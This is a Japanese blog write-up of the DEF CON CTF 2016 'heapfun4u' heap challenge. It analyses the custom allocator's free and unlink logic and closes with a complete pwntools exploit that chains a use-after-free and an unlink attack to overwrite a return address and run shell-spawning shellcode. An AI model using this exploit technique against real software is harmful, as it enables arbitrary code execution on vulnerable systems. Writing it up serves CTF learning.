読者です 読者をやめる 読者になる 読者になる

ちょっとずつ成長日記

強くなりたいと願いつつ少しずつ頑張る日記

DEF CON CTF Qualifier 2016 heapfun4u

今回の問題はELF-64bitでxinetd型であった。今回の問題は脆弱性としてUAF(Use After Free)というheapの構造を利用した攻撃だ。この攻撃は現実の攻撃でも行われる攻撃であるが、このUAFは全体の動きを細かく把握してからではないと攻撃することが難しい。
私は今回、全体の動きを細かく把握するのにかなり苦労した。特に、Freeの処理がどのように行われているのかを把握するのに、多くの時間を費やした。しかし、そのおかげもあって、UAFがどのような攻撃であるかを実際にやってみることで、少し理解が進んだ。
実際のglibc mallocの動きとは少し違う部分もあるが、この問題で、UAFを把握するのにはとても良い問題であることを私は感じた。
特に、今回はUAFを理解するために、以下の資料を参考させていただきました!誠にありがとうございます!

speakerdeck.com

さて、ではさっそく問題のほうを見ていきましょう。

shima@chino:~/workspace/pwn_list_easy/heapfun4u$ checksec --file heapfun4u 
[*] '/home/shima/workspace/pwn_list_easy/heapfun4u/heapfun4u'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

shima@chino:~/workspace/pwn_list_easy/heapfun4u$ ./heapfun4u 
[A]llocate Buffer
[F]ree Buffer
[W]rite Buffer
[N]ice guy
[E]xit
| A
Size: 16
[A]llocate Buffer
[F]ree Buffer
[W]rite Buffer
[N]ice guy
[E]xit
| A
Size: 32
[A]llocate Buffer
[F]ree Buffer
[W]rite Buffer
[N]ice guy
[E]xit
| F
1) 0x7f6970480008 -- 16
2) 0x7f6970480020 -- 32
Index: 1

まあ、今回はheap領域であるため、実際には実行権限があるかわからないため、実際にデバッグしながら見てみましょう。

gdb-peda$ vmmap
Start              End                Perm  Name
0x00400000         0x00402000         r-xp    /home/shima/workspace/pwn_list_easy/heapfun4u/heapfun4u
0x00601000         0x00602000         r--p  /home/shima/workspace/pwn_list_easy/heapfun4u/heapfun4u
0x00602000         0x00603000         rw-p  /home/shima/workspace/pwn_list_easy/heapfun4u/heapfun4u
0x00007ffff7a12000 0x00007ffff7bd0000 r-xp    /lib/x86_64-linux-gnu/libc-2.19.so
0x00007ffff7bd0000 0x00007ffff7dcf000 ---p  /lib/x86_64-linux-gnu/libc-2.19.so
0x00007ffff7dcf000 0x00007ffff7dd3000 r--p  /lib/x86_64-linux-gnu/libc-2.19.so
0x00007ffff7dd3000 0x00007ffff7dd5000 rw-p  /lib/x86_64-linux-gnu/libc-2.19.so
0x00007ffff7dd5000 0x00007ffff7dda000 rw-p  mapped
0x00007ffff7dda000 0x00007ffff7dfd000 r-xp    /lib/x86_64-linux-gnu/ld-2.19.so
0x00007ffff7fdb000 0x00007ffff7fde000 rw-p  mapped
0x00007ffff7ff7000 0x00007ffff7ff8000 rwxp    mapped
0x00007ffff7ff8000 0x00007ffff7ffa000 rw-p  mapped
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp    [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p  /lib/x86_64-linux-gnu/ld-2.19.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p  /lib/x86_64-linux-gnu/ld-2.19.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p  mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p  [stack]
0xffffffffff600000 0xffffffffff601000 r-xp    [vsyscall]

実際にheap領域に確保するようにしたら、どうやら、mmapで実行権限付きでheapをとっているようだった。とりあえず、適当にheapとfreeを繰り返して、デバッグをしてみた。

1.alloc(16), 2.alloc(128), 3.alloc(16)
1.free(16), 2.free(128)

gdb-peda$ x/30gx 0x00007ffff7ff7000
0x7ffff7ff7000:    0x0000000000000012 0x00007ffff7ff70b8
0x7ffff7ff7010:    0x00007ffff7ff7018 0x0000000000000082
0x7ffff7ff7020:    0x0000000000000000 0x0000000000000000
0x7ffff7ff7030:    0x0000000000000000 0x0000000000000000
0x7ffff7ff7040:    0x0000000000000000 0x0000000000000000
0x7ffff7ff7050:    0x0000000000000000 0x0000000000000000
0x7ffff7ff7060:    0x0000000000000000 0x0000000000000000
0x7ffff7ff7070:    0x0000000000000000 0x0000000000000000
0x7ffff7ff7080:    0x0000000000000000 0x0000000000000000
0x7ffff7ff7090:    0x00007ffff7ff7000 0x0000000000000000
0x7ffff7ff70a0:    0x0000000000000013 0x0000000000000000
0x7ffff7ff70b0:    0x0000000000000000 0x0000000000000f40
0x7ffff7ff70c0:    0x0000000000000000 0x0000000000000000
0x7ffff7ff70d0:    0x0000000000000000 0x0000000000000000
0x7ffff7ff70e0:    0x0000000000000000 0x0000000000000000

三つほど、allocateしてそれをallocateした順番に二つFreeしたものである。これからわかることは、1.free(16)を行ったときに直下のchunkがallocateされているため、unlinkすることなく、free listに繋がっている。そして、二つ目の2.free(128)を行ったときは、free listをつなぎ変えていた。
これからをまとめると、以下のようなchunk,freeの動きになっている。
f:id:shimasyaro:20170417174834p:plain
freeの動き

  • SIZEの1bit目はallocateされているかどうか、2bit目はmmap領域を使っているかどうか(今回は使っているため、常にbitが立っている)、3bit目は使われてなかった。

  • free listはfreeされた順番でつながっている。つぎallocateされるときは一番後にfreeされたものからfirst matchで探していく。つまりLIFO(Last In First Out)で探す。

という動きになっていることが分かった。(本当はデバッグしながら探しまくる)ここまで分かったところで、今回のバグを探してみるが、色々簡単に見つかった。

  • [F]ree Bufferを行っても、一回allocateされている場所はずっとfreeできるようになっている。

  • [N]ice guyでstack addressのleakができる。

  • heapのアドレスを表示しているため、どこにDataが格納されているかわかる。

これらを上手く利用して、攻撃を組み立てなければならない。しかし、私はこの時点でどのように攻撃をすればいいのかさっぱりわからなかったため、write upをみることにした。するとUAFを使った面白い攻撃をしていたため、さっそく紹介する。
まず、今回重要になるのが、unlink処理の部分だ。つまり、「直下のchunkがFreeであるという状況」が重要となる。今回のFreeのunlink処理を見てみよう。

mov     rax, [rbp+p_fd]
mov     rdx, [rax]
mov     rax, [rbp+p_fd]
mov     rax, [rax]
mov     rax, [rax]             ; P->fd->size
and     rax, 0FFFFFFFFFFFFFFFCh
sub     rax, 8
add     rax, rdx               ; P->fd + P->fd->size
mov     [rbp+fd_fd], rax       ; P->fd->fd
mov     rax, [rbp+fd_fd]
mov     rdx, [rbp+size_addr]
mov     [rax+8], rdx           ; P->fd->fd+8 = P

rbp+p_fd(P->fd)と書かれているものが、直下のfree chunkのfdポインタが入っている。このfdポインタとfdポインタ先のSIZEを足すことによって次のfree listのポインタに移動する。そしてrbp+fd_fd(P->fd->fd)ポインタから+8されたところを書き換えるような動きをしている。
今回はこの動きを利用して以下のようにchunkの配置を行う。
f:id:shimasyaro:20170418093417p:plain

  • まず、Buffer1,Buffer2,Buffer3をそれぞれ確保した後、Buffer2,Buffer1の順番で開放する。

  • Buffer4を確保したら、書き込みを行い、上記のような配置でchunkを配置する。

  • Buffer2を再び開放して、unlink attackを行い、return addressをBuffer2(FAKE_SIZE)のアドレスに書き換える。

  • Buffer4で書き込みを行い、Buffer2(FAKE_SIZE)のアドレスの部分にshellcodeを置く。

  • [E]xitを行って、main関数の returnをさせて、shellcodeを起動させる。

以上が攻撃の流れになる。私が頭を抱えたのがreturn+8になっているので-8にしてoffsetを取っていたが、どうやら意図的にずらしているようだった。(もしかしたら、自分の計算ミス、構造把握ミスがあるため、なんともいえない)
とりあえず、こーどべちょー

#!/usr/bin/env python2
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log
shellcode = asm(shellcraft.sh())

conn = process('./heapfun4u')
print "[+] connect to local\n"

def alloc(size):
    conn.recvuntil('| ')
    conn.sendline('A')
    conn.recvuntil('Size: ')
    conn.sendline(size)

def free(index):
    conn.recvuntil('| ')
    conn.sendline('F')
    conn.recvuntil('Index: ')
    conn.sendline(index)

def write(index, buf):
    conn.recvuntil('| ')
    conn.sendline('W')
    conn.recvuntil(index + ') ')
    heap_addr = int(conn.recv(14), 16)
    conn.recvuntil('Write where: ')
    conn.sendline(index)
    conn.recvuntil('Write what: ')
    conn.sendline(buf)

    return heap_addr
    
def leak():
    conn.recvuntil('| ')
    conn.sendline('N')
    conn.recvuntil('Here you go: ')
    ret_addr = int(conn.recvuntil('\n'), 16) + 0x13c

    return ret_addr

def leave():
    conn.recvuntil('| ')
    conn.sendline('E')

# get return address
ret_addr = leak()

# set chunk and free
alloc('16')    # index 1
alloc('128')   # index 2
alloc('16')    # index 3
free('2')
free('1')

# alloc index 4 and leak heap address(index 4)
alloc('128')
heap_addr = write('4', 'SYARO!!!')
ret_size = ret_addr - heap_addr

log.info('ret_size:%16x' % ret_size)
log.info('fd:      %16x' % heap_addr)
log.info('return:  %16x' % ret_addr)

# unlink atack
unlink_attack = ''
unlink_attack += p64(ret_size)   
unlink_attack += p64(0)          
unlink_attack += p64(16 + 2 + 1) # fake alloc chunk
unlink_attack += 'SYARO!!!' * 2  # data
unlink_attack += p64(16 + 2)     # fake free chunk
unlink_attack += p64(heap_addr)  # fd
unlink_attack += p64(0)          # bk

write('4', unlink_attack)
free('2')

payload = ''
payload += 'SYARO!!!' * 2
payload += shellcode

write('4', payload)
leave()

conn.interactive()

【総評】UAFマジでくじけそう